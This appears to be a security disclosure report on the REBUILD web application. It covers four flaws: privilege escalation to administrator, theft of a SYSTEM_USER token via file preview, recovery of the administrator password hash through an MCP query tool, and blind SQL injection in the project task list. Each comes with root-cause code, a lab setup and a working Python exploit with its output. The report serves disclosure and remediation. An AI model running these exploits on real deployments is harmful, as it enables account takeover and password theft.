REBUILD Vulnerability Report
Software: REBUILD
Developer or vendor: REBUILD
Code repository: https://github.com/getrebuild/rebuild
1. An Ordinary Account Changes Its Own Role to Administrator
| Brief description: | An ordinary account can change its own role to administrator. |
|---|---|
| Affected versions: | 3.5.0 to 4.5.4 |
| Preconditions: | The attacker has an ordinary account. |
Root Cause
/app/entity/record-save and /app/entity/common-save take the entity name from metadata.entity in the request JSON and dispatch to the corresponding service. User is not a business entity, and field-write validation returns early for non-business entities, so roleId, marked updatable="false" in metadata-conf.xml, remains writable. The relevant code is:
// src/main/java/com/rebuild/core/metadata/EntityRecordCreator.java:82-84 commit 741e3e5
@Override
public boolean onSetFieldValueWarn(Field field, String value, Record record) {
// 非业务实体
if (!MetadataHelper.isBusinessEntity(field.getOwnEntity())) return true;
checkAdminGuard in UserService.update does not restrict which fields a user may change on their own record. The relevant code is:
// src/main/java/com/rebuild/core/privileges/UserService.java:236-247 commit 741e3e5
private void checkAdminGuard(Permission action, ID user) {
ID currentUser = UserContextHolder.getUser();
if (UserHelper.isAdmin(currentUser)) return;
if (action == BizzPermission.CREATE || action == BizzPermission.DELETE) {
throw new AccessDeniedException(Language.L("无操作权限"));
}
// 用户可自己改自己
if (action == BizzPermission.UPDATE && currentUser.equals(user)) return;
throw new AccessDeniedException(Language.L("无操作权限"));
}
An ordinary account can therefore set roleId to the administrator role 003-0000000000000001 and obtain administrator privileges.
Reproduction Environment
The lab uses the official image getrebuild/rebuild:4.5.3 and MySQL 8.0. The docker-compose.yml is:
services:
mysql:
image: mysql:8.0
environment:
MYSQL_ROOT_HOST: '%'
MYSQL_ROOT_PASSWORD: 'rebuild!P4wd'
healthcheck:
test: ['CMD-SHELL', 'mysqladmin ping -h mysql -u root -p$$MYSQL_ROOT_PASSWORD']
interval: 5s
timeout: 3s
retries: 10
rebuild:
image: getrebuild/rebuild:4.5.3
depends_on:
mysql:
condition: service_healthy
entrypoint: ['sh', '-c']
command:
- >
mkdir -p /app/rebuild/.rebuild &&
java -Dinitialize=docker -Duser.timezone=Asia/Shanghai -DSN= -DDataDirectory=/app/rebuild/.rebuild -jar /app/rebuild/rebuild-boot.jar
ports:
- '18080:18080'
volumes:
- rebuild_data:/app/rebuild/.rebuild
volumes:
mysql_data:
rebuild_data:
After startup, create a department Default Dept and a user testuser in the admin center, set the password to Test@1234, select the RB示例角色 role, and enable “Allow login” in the role privileges.
Reproduction
Run the following script:
import hashlib, httpx, datetime, re
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.get(f"{BASE}/settings/user")
uid = re.search(r'name="rb.currentUser" content="([^"]+)"', r.text).group(1)
print("uid", uid)
r = c.get(f"{BASE}/user/admin-verify")
print("admin-verify before", r.status_code, r.text)
r = c.post(f"{BASE}/app/entity/record-save",
json={"metadata": {"entity": "User", "id": uid},
"roleId": "003-0000000000000001"})
print("role change", r.status_code, r.text)
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
payload = hashlib.sha256((hashlib.sha256("Test@1234".encode()).hexdigest() + "iloverb" + salt).encode()).hexdigest()
r = c.post(f"{BASE}/user/admin-verify", content=payload, headers={"Content-Type": "text/plain"})
print("admin-verify after", r.status_code, r.text)
r = c.get(f"{BASE}/admin/bizuser/users")
print("admin page", r.status_code, "len", len(r.text))
The output is:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
uid 001-01a1b0408a060dd8
admin-verify before 403 {"timestamp":"2026-11-06 17:46:22","status":403,"error":"Forbidden","path":"/user/admin-verify"}
role change 200 {"data":{"id":"001-01a1b0408a060dd8"},"error_code":0,"error_msg":"调用成功"}
admin-verify after 200 {"error_code":0,"error_msg":"调用成功"}
admin page 200 len 26909
Then log in to the browser as testuser and open the admin center; the account already has administrator privileges:

2. An Ordinary Account Obtains the SYSTEM_USER Identity via X-AuthToken
| Brief description: | An ordinary account can obtain the SYSTEM_USER CSRF token from the file preview endpoint and use it in the X-AuthToken header to call APIs as SYSTEM_USER. |
|---|---|
| Affected versions: | 4.3.0 to 4.5.4 |
| Preconditions: | The attacker has an ordinary account. |
Root Cause
FilePreviewer does not check the existence or ownership of a non-ID src, and getFileFullUrl appends a newly generated CSRF token to the 302 URL. The relevant code is:
// src/main/java/com/rebuild/web/commons/FilePreviewer.java:138-144 commit 741e3e5
private ModelAndView ooPreviewOrEditor(HttpServletRequest request, HttpServletResponse response, boolean editor) throws IOException {
String src = getParameterNotNull(request, "src");
ID id = null;
if (ID.isId(src)) {
id = ID.valueOf(src);
src = getFileById(id, getRequestUser(request));
}
if (!OnlyOffice.isUseOoPreview()) {
String previewUrl = OnlyOffice.getBestPreviewUrl();
previewUrl += CodecUtils.urlEncode(getFileFullUrl(src, AppUtils.getRequestUser(request)));
response.sendRedirect(previewUrl);
return null;
}
// src/main/java/com/rebuild/web/commons/FilePreviewer.java:376-388 commit 741e3e5
protected String getFileFullUrl(final String src, ID user) {
if (CommonsUtils.isExternalUrl(src)) return src;
if (user == null) throw new InvalidParameterException(Language.L("无效请求用户"));
String fileUrl = src;
boolean temp = fileUrl.startsWith("/temp/");
boolean data = fileUrl.startsWith("/data/");
if (temp || data) fileUrl = fileUrl.substring(6);
fileUrl = String.format("/filex/download/%s?temp=%s&data=%s&_csrfToken=%s",
fileUrl, temp, data, AuthTokenManager.generateCsrfToken(60 * 5));
fileUrl = RebuildConfiguration.getHomeUrl(fileUrl);
return fileUrl;
}
AuthTokenManager.generateCsrfToken(60 * 5) in the code above takes no user argument. generateToken uses SYSTEM_USER when user is null. The relevant code is:
// src/main/java/com/rebuild/api/user/AuthTokenManager.java:62-71 commit 741e3e5
protected static String generateToken(ID user, int seconds, String type) {
// Type,User,Time,Version
String desc = String.format("%s,%s,%d,v2",
ObjectUtils.defaultIfNull(type, TYPE_ACCESS_TOKEN),
ObjectUtils.defaultIfNull(user, UserService.SYSTEM_USER),
System.nanoTime());
String token = EncryptUtils.toSHA1Hex(desc);
Application.getCommonsCache().put(TOKEN_PREFIX + token, desc, seconds);
return token;
}
An attacker can therefore obtain a SYSTEM_USER token from the file preview endpoint.
AppUtils.getRequestUser reads X-AuthToken when there is no session and treats the token as a login credential. The relevant code is:
// src/main/java/com/rebuild/utils/AppUtils.java:100-118 commit 741e3e5
public static ID getRequestUser(HttpServletRequest request, boolean refreshToken) {
Object user = null;
try {
user = request.getSession().getAttribute(WebUtils.CURRENT_USER);
} catch (Exception resHasBeenCommitted) {
log.debug("resHasBeenCommitted", resHasBeenCommitted);
}
if (user == null) user = getRequestUserViaToken(request, refreshToken);
return user == null ? null : (ID) user;
}
protected static ID getRequestUserViaToken(HttpServletRequest request, boolean refreshToken) {
String authToken = request.getHeader(HF_AUTHTOKEN);
if (authToken != null) {
return AuthTokenManager.verifyToken(authToken, false, refreshToken);
}
return getRequestUserViaAk(request, false);
}
Reproduction Environment
Rebuild the environment and create an ordinary user testuser as described in Section 1.
Reproduction
Run the following script:
import hashlib, httpx, datetime, re
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.get(f"{BASE}/commons/file-preview", params={"src": "/data/anything.txt"}, follow_redirects=False)
print("file-preview", r.status_code)
print("Location", r.headers.get("location"))
token = re.search(r"_csrfToken(?:=|%3D)([a-f0-9]+)", r.headers["location"]).group(1)
print("csrfToken", token)
c.cookies.clear()
r = c.get(f"{BASE}/app/entity/common-get",
params={"id": "001-0000000000000000", "fields": "loginName,fullName,isDisabled"},
headers={"X-AuthToken": token})
print("common-get", r.status_code, r.text)
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
system_payload = hashlib.sha256(("system" + "iloverb" + salt).encode()).hexdigest()
r = c.post(f"{BASE}/user/admin-verify", content=system_payload,
headers={"Content-Type": "text/plain", "X-AuthToken": token})
print("admin-verify", r.status_code, r.text)
r = c.get(f"{BASE}/admin/bizuser/users", headers={"X-AuthToken": token})
print("admin page", r.status_code, len(r.text))
The output is:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
file-preview 302
Location https://view.officeapps.live.com/op/view.aspx?src=https%3A%2F%2Fgetrebuild.com%2Ffilex%2Fdownload%2Fanything.txt%3Ftemp%3Dfalse%26data%3Dtrue%26_csrfToken%3D523c786f60447bed3505aec8612b6021deea8168
csrfToken 523c786f60447bed3505aec8612b6021deea8168
common-get 200 {"data":{"loginName":"system","fullName":"系统用户","isDisabled":"T","userId":"001-0000000000000000"},"error_code":0,"error_msg":"调用成功"}
admin-verify 200 {"error_code":0,"error_msg":"调用成功"}
admin page 200 26578
3. An Ordinary Account Retrieves the Administrator Password Hash via MCP and Logs In
| Brief description: | An ordinary account can call the MCP QueryRecords tool, use prefix matching against User.password to recover the administrator password hash character by character, and then compute a login payload from the hash to log in as the administrator. |
|---|---|
| Affected versions: | 4.5.0 to 4.5.4 |
| Preconditions: | The attacker has an ordinary account. |
Root Cause
QueryRecords only checks whether the entity exists. It does not restrict the query to business entities or check whether a field may be queried. The relevant code is:
// src/main/java/com/rebuild/core/aibot2/tool/QueryRecords.java:43-53 commit 741e3e5
Entity entity = ToolHelper.resolveEntity(entityName);
if (entity == null) {
throw new KnownToolException("未知实体 : " + entityName + ToolHelper.suggestEntity(entityName));
}
String name = args.getString("name");
JSONArray filter = args.getJSONArray("filter");
String equation = args.getString("equation");
String fields = args.getString("fields");
String sort = args.getString("sort");
int limit = args.getIntValue("limit");
queryByFilter passes the user-supplied filter to AdvFilterParser. AdvFilterParser supports LK2 prefix matching, so password can be tested prefix by prefix. The relevant code is:
// src/main/java/com/rebuild/core/service/query/AdvFilterParser.java:769-773 commit 741e3e5
} else if (op.equalsIgnoreCase(ParseHelper.LK1)) {
value = '%' + value.replace("%", "\\%");
} else if (op.equalsIgnoreCase(ParseHelper.LK2)) {
value = value.replace("%", "\\%") + '%';
}
sb.append(quoteValue(value, lastFieldMeta.getType()));
The response masks password, but it does not mask total, so the row count tells the attacker whether the tested prefix matched.
Login verification uses sha256(stored password + "iloverb" + UTC date), so the password hash is sufficient to compute the login payload. The relevant code is:
// src/main/java/com/rebuild/web/user/signup/LoginAction.java:293-299 commit 741e3e5
if (o == null || o[0] == null) return false;
String salt = "iloverb" + LocalDate.now(ZoneOffset.UTC).format(DateTimeFormatter.BASIC_ISO_DATE);
String hash = EncryptUtils.toSHA256Hex(o[0].toString() + salt);
return StringUtils.equals(passwd2sha, hash);
Reproduction Environment
Rebuild the environment and create an ordinary user testuser as described in Section 1.
Reproduction
Log in as testuser, generate a personal access token, and call the MCP endpoint. The script is:
import hashlib, httpx, datetime, json, string
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.post(f"{BASE}/settings/access-token/generate")
print("access-token", r.text)
ak = r.json()["data"]["token"]
def total(prefix):
body = {
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {"name": "QueryRecords", "arguments": {
"entity": "User", "fields": "loginName", "limit": 1,
"filter": [
{"field": "loginName", "op": "EQ", "value": "admin"},
{"field": "password", "op": "LK2", "value": prefix}
],
"equation": "AND"
}}
}
r = c.post(f"{BASE}/gw/mcp/sse",
headers={"Authorization": "Bearer " + ak, "Content-Type": "application/json"},
json=body)
return json.loads(r.json()["result"]["content"][0]["text"])["total"]
known = ""
for i in range(64):
for ch in "0123456789abcdef":
if total(known + ch) == 1:
known += ch
break
print("hash", known)
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
payload = hashlib.sha256((known + "iloverb" + salt).encode()).hexdigest()
c.cookies.clear()
r = c.post(f"{BASE}/user/user-login",
params={"user": "admin", "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
print("admin login", r.status_code, r.text)
r = c.post(f"{BASE}/user/admin-verify", content=payload, headers={"Content-Type": "text/plain"})
print("admin-verify", r.status_code, r.text)
r = c.get(f"{BASE}/admin/bizuser/users")
print("admin page", r.status_code, len(r.text))
The output is:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
access-token {"data":{"token":"rbk-0xUyX8OkPdHsIwUmp0hlbHwRQFyGFzCeU1gjshO1"},"error_code":0,"error_msg":"调用成功"}
hash 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
admin login 200 {"data":{},"error_code":0,"error_msg":"调用成功"}
admin-verify 200 {"error_code":0,"error_msg":"调用成功"}
admin page 200 27031
4. SQL Injection in the Project Task List
| Brief description: | An ordinary account can inject SQL through the plan parameter of /project/tasks/list and read password hashes from the database. |
|---|---|
| Affected versions: | 2.7.0 to 4.5.4 |
| Preconditions: | The attacker has an ordinary account and can access at least one project, either a public project or a project where the attacker is a member or share recipient. |
Root Cause
buildCustomPlanSql takes the value after - from the plan parameter and concatenates it after priority = . CommonsUtils.escapeSql handles backslashes and quotes, but not spaces, comparison operators, or 0x literals. The relevant code is:
// src/main/java/com/rebuild/web/project/ProjectTaskController.java:158-168 commit 741e3e5
private String buildCustomPlanSql(String planKey, ID projectId) {
if (ID.isId(planKey)) {
return "projectPlanId = '" + planKey + "'";
}
String planValue = planKey.split("-")[1];
String baseSql = "projectId = '" + projectId + "' and ";
if (planKey.startsWith(ProjectController.GROUP_PRIORITY)) {
return baseSql + "priority = " + CommonsUtils.escapeSql(planValue);
}
// src/main/java/com/rebuild/utils/CommonsUtils.java:173-178 commit 741e3e5
public static String escapeSql(Object text) {
text = text.toString().replace("\\'", "'");
text = text.toString().replace("\\", "\\\\");
return StringEscapeUtils.escapeSql((String) text);
}
taskList first runs select count(taskId) from ProjectTask where ... through createQueryNoFilter, without role filtering. When the condition is true, count is the number of tasks; when the condition is false, count is 0. The count is therefore a boolean oracle. The relevant code is:
// src/main/java/com/rebuild/web/project/ProjectTaskController.java:128-132 commit 741e3e5
int count = -1;
if (pageNo == 1) {
String countSql = "select count(taskId) from ProjectTask where " + queryWhere;
Object[] count2 = Application.createQueryNoFilter(countSql).unique();
count = ObjectUtils.toInt(count2[0]);
createdBy on ProjectTask is a reference to User, and AjQL supports paths such as createdBy.password. When the task is created by the administrator, createdBy.password is the administrator password hash.
This is a different defect from issue #597. #597 affects 3.2.3 and earlier, injects through priority, and has been fixed; this report injects through planValue.
Reproduction Environment
Rebuild the environment and create an ordinary user testuser as described in Section 1.
As an administrator, create a public project Public Project (scope=1) and a task Demo Task in it.
testuser is not a project member, but a public project is visible to every logged-in user.
Reproduction
Log in as testuser and run the following script:
import hashlib, httpx, datetime, re
BASE = "http://localhost:18080"
def login(client, user, password):
salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d")
stored = hashlib.sha256(password.encode()).hexdigest()
payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest()
return client.post(f"{BASE}/user/user-login",
params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""},
content=payload, headers={"Content-Type": "text/plain"})
with httpx.Client(timeout=30) as c:
print("login", login(c, "testuser", "Test@1234").text)
r = c.get(f"{BASE}/project/search", params={"gs": "PUB1"}, follow_redirects=False)
pid = re.search(r"/project/(050-[0-9a-f]+)/tasks", r.headers["location"]).group(1)
print("projectId", pid)
def hit(prefix, ch):
lo = (prefix + ch).encode().hex()
hi = (prefix + chr(ord(ch) + 1)).encode().hex()
plan = f"priority-1 and createdBy.password >= 0x{lo} and createdBy.password < 0x{hi}"
r = c.get(f"{BASE}/project/tasks/list",
params={"project": pid, "plan": plan, "pageNo": 1, "pageSize": 40})
return r.json()["data"]["count"] > 0
known = ""
for i in range(64):
for ch in "0123456789abcdef":
if hit(known, ch):
known += ch
break
print("hash", known)
The output is:
login {"data":{},"error_code":0,"error_msg":"调用成功"}
projectId 050-01a1b05b7c852f1c
hash 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
The hash matches the administrator password hash from Section 3, which shows that the injection can read the password field from the database.